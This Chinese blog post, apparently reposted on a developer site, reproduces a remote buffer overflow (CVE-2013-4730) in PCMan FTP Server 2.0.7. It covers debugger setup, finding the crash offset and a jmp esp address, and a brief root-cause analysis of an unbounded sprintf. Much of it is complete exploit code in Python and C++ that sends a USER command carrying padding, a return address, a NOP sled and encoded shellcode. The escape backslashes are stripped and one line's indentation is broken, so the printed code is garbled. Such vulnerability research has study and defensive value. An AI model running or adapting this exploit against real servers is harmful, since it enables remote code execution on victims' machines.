PCMan's FTP 漏洞(CVE-2013-4730)详细复现调试过程与exp构造

栏目: 编程工具 · 发布时间: 5年前

内容简介:PCMAN ftpserver 2.0.7

PCMan's FTP 漏洞(CVE-2013-4730)详细复现调试过程与exp构造

1. 漏洞简介

软件名称

PCMAN ftp

软件版本

server 2.0.7

漏洞类型

远程缓冲区溢出

漏洞触发点

未对user命令做长度限制检查

漏洞编号

CVE-2013-4730

其他信息:

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-4730_A

2. 漏洞详细复现

1. 环境搭建

1. 准备工作:

  1. 自动生成有序数,并能确定异常点的偏移可以使用windbg插件Mona2
  2. Mona2 需要 Python 2.7
  3. windbg(用来定位jmp esp地址)
  4. x64dbg
  5. vs写测试代码和shellcode

2. 环境配置:

  1. 虚拟机win7 sp1
  2. wdk 自带windbg
  3. python2.7
  4. vc++ 2008运行库
  5. 安装windbg的python 插件pykd
  6. 复制mona.py和windbglib.py到windbg同目录
  7. 运行windbg随便调试一个程序进程环境测试
.load pykd.pyd 加载pykd
!py mona 测试mona
.reload /f 检查windbg符号路径是否正常

mona安装成功截图

PCMan's FTP 漏洞(CVE-2013-4730)详细复现调试过程与exp构造

2. vs2015写测试代码

首先我们要能与FTP进行交互才能触发漏洞,只要我们编写的代码符合RFC959标准,就可以与任何一个FTP服务器进行交互,有兴趣的可以去阅读RFC959文档。

#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <stdio.h>
#include <WinSock2.h>
#include <windows.h>
#pragma comment(lib,"ws2_32.lib")

int main()
{
    // 1. -初始化WinSocket服务
    WSADATA stWSA;
    WSAStartup(0x0202, &stWSA);
    // 2. 创建一个原始套接字
    SOCKET stListen = INVALID_SOCKET;
    stListen = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
    // 3. 在任意地址绑定端口21
    SOCKADDR_IN stService;
    stService.sin_addr.s_addr = inet_addr("192.168.43.82");
    stService.sin_port = htons(21);
    stService.sin_family = AF_INET;
    connect(stListen, (SOCKADDR*)&stService, sizeof(stService));
    // 4. 接收返回信息缓冲区
    char szRecv[0x100] = { 0 };
    // 5. 登陆请求
    char *pCompand = "USER SUN";


    recv(stListen, szRecv, sizeof(szRecv), 0);
    send(stListen, pCompand, strlen(pCompand), 0);
    // 6. 接收信息
    recv(stListen, szRecv, sizeof(szRecv), 0);
    // 7. 清理环境
    closesocket(stListen);
    WSACleanup();
    return 0;
}

图中可以看到测试代码连接成功

PCMan's FTP 漏洞(CVE-2013-4730)详细复现调试过程与exp构造

3. poc构造

利用mona构造长字符串

!py mona pc 3000

PCMan's FTP 漏洞(CVE-2013-4730)详细复现调试过程与exp构造

在上述的测试代码中将用户名 USER SUN 改为刚生成的这个长字符串。看程序能不能崩溃,如果崩溃了,说明测试成功

PCMan's FTP 漏洞(CVE-2013-4730)详细复现调试过程与exp构造

4. 复现

  1. 打开pcman-ftp软件
  2. 打开windbg并附加pcman-ftp进程
  3. windbg加载pykd.pyd
    .load pykd.pyd
  4. vs发送测试包,然后看到windbg信息

PCMan's FTP 漏洞(CVE-2013-4730)详细复现调试过程与exp构造

查看栈区发现已经被我们的数据覆盖了

PCMan's FTP 漏洞(CVE-2013-4730)详细复现调试过程与exp构造

  1. mona查看溢出点

    !py mona po 发生溢出的eip

PCMan's FTP 漏洞(CVE-2013-4730)详细复现调试过程与exp构造

我们看到这里的偏移为2007

5. exploit构造

1. 找jmp esp

首先找本模块的jmp esp看有没有能用的

!py mona.py jmp -r esp

PCMan's FTP 漏洞(CVE-2013-4730)详细复现调试过程与exp构造 然后找系统模块的jmp esp,一般都会用系统模块 因为某系特点的系统模块没有开随机基址

!py mona jmp -r esp -m kernel32.dll

找到了四个,并且可以用

PCMan's FTP 漏洞(CVE-2013-4730)详细复现调试过程与exp构造 PCMan's FTP 漏洞(CVE-2013-4730)详细复现调试过程与exp构造 我们这里用 0x7654fbf7

2. shellcode组合字符串

  1. USER 也就是用户名
  2. 无意义的字符串,大小为2002个
  3. jmp esp
  4. nop填充
  5. shellcode

3. exploit源码

python版本

#!usr/bin/python
# -*- coding: utf-8 -*-

import socket

Cmd = b"USER "
Fill = b"x41" * 2002
Jmp = b"xf7xfbx54x76"
Nop = b"x90" * 50
ShellCode = b"x33xC0xE8xFFxFFxFFxFFxC3x58x8Dx70x1Bx33xC9x66xB9x11x01x8Ax04x0Ex34x07x88x04x0ExE2xF6x80x34x0Ex07xFFxE6"
b"x67x84xEBx27xECx4Ax40x62x73x57x75x68x64x46x63x63" 
b"x75x62x74x74x07x4Bx68x66x63x4Bx6Ex65x75x66x75x7E" 
b"x42x7Fx46x07x52x74x62x75x34x35x29x63x6Bx6Bx07x4A" 
b"x62x74x74x66x60x62x45x68x7Fx46x07x42x7Fx6Ex73x57" 
b"x75x68x64x62x74x74x07x4Fx62x6Bx6Bx68x27x50x68x75" 
b"x63x26x07xEFx07x07x07x07x5Cx63x8Cx32x37x07x07x07" 
b"x8Cx71x0Bx8Cx71x1Bx8Cx31x8Cx71x0Fx8Ex72xF7x8CxD1" 
b"x8Cx45x3Bx8Ax03x05x8Cx52xF7x8Cx47x7Fx8Ax03x17x8C" 
b"x4Fx1Bx8Ax0Bx16x8Ex4AxFBx8Cx4Fx27x8Ax0Bx16x8Ex4A" 
b"xFFx8Cx4Fx23x8Ax0Bx16x8Ex4AxF3x34xC7x8Cx52xF7xEC" 
b"x06x47x8Cx7AxFFx8Cx3Bx80x8Cx52xF7x8Ax3Bx3Dx8Ax74" 
b"xA9xBEx09x07x07x07xFBxF4xA1x72xE1x8Cx52xF3x34xCE" 
b"x61x8Cx0Bx45x8Cx52xFBx8Cx33x8Dx8Cx7AxF7x8Ax03x30" 
b"x8Ex42xEBx8Ax44xBAx57xF8x72xF7xF8x52xEBx8Ex42xEF" 
b"x8Ax54xCBx34xCEx56x56x55xF8xD7x8Ex42xE3x8Ax44xD0" 
b"x57xF8x72xE3xF8x52xEBx34xCEx56x8Ax7CxE8x50x50x56" 
b"xF8xD7x8Ax44xE4x57xF8x72xF7xF8x52xEBx34xCEx56xF8" 
b"xD7"

def main():
    print("创建SOCKET")
    net_sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    print("连接")
    port = 21
  net_sock.connect(('192.168.43.82',port))
    print(net_sock.recv(1024).decode('utf-8'))
    data = Cmd + Fill + Jmp + Nop + ShellCode
    net_sock.send(data)
    print(net_sock.recv(1024).decode('utf-8'))
    net_sock.close()
if __name__ == '__main__':
    main()

c++版本

#define _WINSOCK_DEPRECATED_NO_WARNINGS

#include <stdio.h>
#include <WinSock2.h>
#include <windows.h>

#pragma comment(lib,"ws2_32.lib")


char bShellcode[] = "x33xC0xE8xFFxFFxFFxFFxC3x58x8Dx70x1Bx33xC9x66xB9x11x01x8Ax04x0Ex34x07x88x04x0ExE2xF6x80x34x0Ex07xFFxE6"
"x67x84xEBx27xECx4Ax40x62x73x57x75x68x64x46x63x63" 
"x75x62x74x74x07x4Bx68x66x63x4Bx6Ex65x75x66x75x7E" 
"x42x7Fx46x07x52x74x62x75x34x35x29x63x6Bx6Bx07x4A" 
"x62x74x74x66x60x62x45x68x7Fx46x07x42x7Fx6Ex73x57" 
"x75x68x64x62x74x74x07x4Fx62x6Bx6Bx68x27x50x68x75" 
"x63x26x07xEFx07x07x07x07x5Cx63x8Cx32x37x07x07x07" 
"x8Cx71x0Bx8Cx71x1Bx8Cx31x8Cx71x0Fx8Ex72xF7x8CxD1" 
"x8Cx45x3Bx8Ax03x05x8Cx52xF7x8Cx47x7Fx8Ax03x17x8C" 
"x4Fx1Bx8Ax0Bx16x8Ex4AxFBx8Cx4Fx27x8Ax0Bx16x8Ex4A" 
"xFFx8Cx4Fx23x8Ax0Bx16x8Ex4AxF3x34xC7x8Cx52xF7xEC" 
"x06x47x8Cx7AxFFx8Cx3Bx80x8Cx52xF7x8Ax3Bx3Dx8Ax74" 
"xA9xBEx09x07x07x07xFBxF4xA1x72xE1x8Cx52xF3x34xCE" 
"x61x8Cx0Bx45x8Cx52xFBx8Cx33x8Dx8Cx7AxF7x8Ax03x30" 
"x8Ex42xEBx8Ax44xBAx57xF8x72xF7xF8x52xEBx8Ex42xEF" 
"x8Ax54xCBx34xCEx56x56x55xF8xD7x8Ex42xE3x8Ax44xD0" 
"x57xF8x72xE3xF8x52xEBx34xCEx56x8Ax7CxE8x50x50x56" 
"xF8xD7x8Ax44xE4x57xF8x72xF7xF8x52xEBx34xCEx56xF8" 
"xD7";


int main()
{

    //构造exp
    char cExpolit[5000] = { 0x00 };
    char cFill[5000] = { 0x00 };
    char cNop[51] = { 0x00 };
    char cRetAddr[5] = "xf7xfbx54x76"; // 0x7654fbf7
    memset(cFill, 'A', 2002); // 别忘了USER 还占5个字节
    memset(cNop, 'x90', 50);
    sprintf_s(cExpolit, "%s%s%s%s%s%s","USER ", cFill, cRetAddr, cNop, bShellcode, "rn");



    // 1. -初始化WinSocket服务
    WSADATA stWSA;
    WSAStartup(0x0202, &stWSA);
    // 2. 创建一个原始套接字
    SOCKET stListen = INVALID_SOCKET;
    stListen = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
    // 3. 在任意地址绑定端口21
    SOCKADDR_IN stService;
    stService.sin_addr.s_addr = inet_addr("192.168.43.82");
    stService.sin_port = htons(21);
    stService.sin_family = AF_INET;
    connect(stListen, (SOCKADDR*)&stService, sizeof(stService));
    // 4. 接收返回信息缓冲区
    char szRecv[0x100] = { 0 };
    // 5. 登陆请求
    recv(stListen, szRecv, sizeof(szRecv), 0);
    send(stListen, cExpolit, strlen(cExpolit), 0);
    // 6. 接收信息
    recv(stListen, szRecv, sizeof(szRecv), 0);
    // 7. 清理环境
    closesocket(stListen);
    WSACleanup();
    system("pause");
    return 0;
}

攻击成功

PCMan's FTP 漏洞(CVE-2013-4730)详细复现调试过程与exp构造 PCMan's FTP 漏洞(CVE-2013-4730)详细复现调试过程与exp构造

3. 漏洞分析

现在我们来分析一下这个漏洞到底是如何生成的。

这里我们用到windbg的动态调试和IDA的静态调试

再用刚才的poc,寻找没有覆盖溢出点的地方,然后我们在这个地方下硬件写入断点,然后观察堆栈以及数据覆盖变化

  1. 找能下断的地方
    PCMan's FTP 漏洞(CVE-2013-4730)详细复现调试过程与exp构造
  2. 硬件写入断点
    ba w4 0012ed60 ".if(poi(0012ed60 )=0x6f43366f ){}.else{gc}"

断下了

PCMan's FTP 漏洞(CVE-2013-4730)详细复现调试过程与exp构造

  1. 我们通过widbg和IDA栈回溯看看到底调用的哪个地方造成了数据覆盖,回溯了好几层,需要耐心观察最后我们发现这里比较可疑
    PCMan's FTP 漏洞(CVE-2013-4730)详细复现调试过程与exp构造
  2. 验证,我们重新运行然后widbg在sprintf下断点 bp 00403EE6 并且观察堆栈,发现前后堆栈数据被poc的数据覆盖

PCMan's FTP 漏洞(CVE-2013-4730)详细复现调试过程与exp构造

sprintf运行了好几次,最后一次是因为复制的字符串太长导致返回值被覆盖,从而造成缓冲区溢出,

PCMan's FTP 漏洞(CVE-2013-4730)详细复现调试过程与exp构造

造成这个种结果是因为在拼接最后一个字符串的时候没有做长度限制,导致缓冲区溢出

PCMan's FTP 漏洞(CVE-2013-4730)详细复现调试过程与exp构造


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

深入理解计算机系统(英文版·第2版)

深入理解计算机系统(英文版·第2版)

[美] Randal E. Bryant、[美] David R. O'Hallaron / 机械工业出版社 / 2011-1 / 128.00元

本书是一本将计算机软件和硬件理论结合讲述的经典教程,内容覆盖计算机导论、体系结构和处理器设计等多门课程。本书的最大优点是为程序员描述计算机系统的实现细节,通过描述程序是如何映射到系统上,以及程序是如何执行的,使读者更好地理解程序的行为为什么是这样的,以及造成效率低下的原因。 相对于第1版,本版主要是反映了过去十年间硬件技术和编译器的变化,具体更新如下: 1. 对系统的介绍(特别是实际使......一起来看看 《深入理解计算机系统(英文版·第2版)》 这本书的介绍吧!

JS 压缩/解压工具
JS 压缩/解压工具

在线压缩/解压 JS 代码

SHA 加密
SHA 加密

SHA 加密工具